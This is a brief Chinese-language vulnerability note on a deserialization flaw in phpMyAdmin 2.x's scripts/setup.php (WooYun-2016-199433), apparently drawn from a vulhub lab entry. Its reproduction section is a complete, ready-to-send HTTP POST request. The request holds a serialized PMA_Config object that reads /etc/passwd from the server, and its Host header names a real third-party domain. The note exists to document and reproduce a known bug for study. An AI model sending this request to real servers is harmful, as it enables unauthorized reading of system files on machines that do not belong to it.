# （WooYun-2016-199433）Phpmyadmin scripts/setup.php 反序列化漏洞

## 一、漏洞简介

phpmyadmin 2.x版本中存在一处反序列化漏洞，通过该漏洞，攻击者可以读取任意文件或执行任意代码。

## 二、漏洞影响

phpmyadmin 2.x

## 三、复现过程

发送如下数据包，即可读取`/etc/passwd`：

```bash
POST /scripts/setup.php HTTP/1.1
Host: www.baidu.com:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

```

![1.png](images/2020_06_13/1a18bfd4559744efa793190bf780b505.png)

## 参考链接

> https://github.com/vulhub/vulhub/blob/master/phpmyadmin/WooYun-2016-199433/README.zh-cn.md